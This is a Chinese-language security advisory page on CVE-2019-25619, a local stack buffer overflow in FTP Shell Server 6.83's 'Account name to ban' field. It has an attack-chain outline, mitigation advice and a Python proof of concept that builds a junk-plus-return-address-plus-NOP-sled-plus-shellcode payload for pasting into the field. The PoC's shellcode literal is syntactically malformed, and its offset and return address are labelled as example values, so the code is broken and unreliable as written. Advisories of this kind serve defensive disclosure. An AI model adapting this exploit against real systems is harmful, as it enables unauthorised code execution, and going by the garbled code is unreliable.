IPBUF安全漏洞报告
English
CVE-2019-25619 CVSS 8.4 高危

CVE-2019-25619 FTP Shell Server缓冲区溢出漏洞

披露日期: 2026-03-22

漏洞信息

漏洞编号
CVE-2019-25619
漏洞类型
缓冲区溢出
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FTP Shell Server

相关标签

缓冲区溢出本地代码执行FTP Shell ServerCVE-2019-25619权限提升

漏洞概述

FTP Shell Server 6.83版本中存在一个严重的缓冲区溢出漏洞。该漏洞出现在“Account name to ban”字段中,允许未经身份验证的本地攻击者通过提交特制的字符串来触发。攻击者可以利用此漏洞在“管理FTP账户”对话框中注入恶意Shellcode,成功覆盖返回地址后执行calc.exe或其他任意代码,从而完全控制受影响的系统。

技术细节

该漏洞的根源在于FTP Shell Server 6.83在处理用户输入的“Account name to ban”参数时,未正确验证数据长度,导致基于栈的缓冲区溢出。攻击者无需用户交互即可利用此漏洞。利用过程构造一个包含特定偏移量、覆盖返回地址和恶意Shellcode的恶意字符串。当程序处理该字符串时,由于缺乏边界检查,缓冲区被填满并覆盖了栈上的返回地址。程序流程被重定向至攻击者控制的内存区域(通常是NOP滑行区),进而执行Shellcode。由于攻击向量为本地(AV:L),攻击者需具备本地访问权限,但无需账户权限即可利用此漏洞实现权限提升或代码执行。

攻击链分析

STEP 1
Reconnaissance
Identify the target system running FTP Shell Server 6.83.
STEP 2
Access
Locally access the 'Manage FTP Accounts' dialog of the FTP Shell Server.
STEP 3
Exploitation
Inject a crafted payload into the 'Account name to ban' input field to trigger the buffer overflow.
STEP 4
Code Execution
Overwrite the return address and redirect execution flow to the injected shellcode (e.g., calc.exe).
STEP 5
Post-Exploitation
Achieve arbitrary code execution with the privileges of the FTP server process.

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2019-25619 # This script demonstrates the buffer overflow vulnerability in FTP Shell Server 6.83 # Target: 'Account name to ban' field in Manage FTP Accounts dialog import struct # Payload construction pattern: [Junk] + [Ret Addr] + [NOP Sled] + [Shellcode] # Offset to overwrite EIP (Example value, requires debugging to verify exact offset) offset = 4104 # Return address (Example: JMP ESP or POP POP RET) # This address varies based on OS version and loaded modules ret_addr = struct.pack('<L', 0x7C86467B) # NOP sled (No Operation) nop_sled = b'\x90' * 32 # Shellcode: Executes calc.exe (Windows) # This is a standard metasploit windows/exec calc payload shellcode = b"" \x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0\xb8\x90\x1e\xc2\x77\xff\xd0 """ # Construct the full payload payload = b'A' * offset + ret_addr + nop_sled + shellcode try: with open('CVE-2019-25619_PoC.txt', 'wb') as f: f.write(payload) print(f"[+] Payload generated successfully. Length: {len(payload)} bytes") print("[+] Copy the content of CVE-2019-25619_PoC.txt and paste it into the 'Account name to ban' field.") except Exception as e: print(f"[-] Error generating payload: {e}")

影响范围

FTP Shell Server 6.83

防御指南

临时缓解措施
建议立即停止使用受影响的FTP Shell Server 6.83版本,并升级到修复了该漏洞的最新版本。在无法升级的情况下,应严格限制对服务器管理控制台的本地物理访问和逻辑访问权限,确保只有受信任的管理员能够操作“管理FTP账户”功能。同时,应部署终端安全防护软件,监控异常的内存修改行为和进程启动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表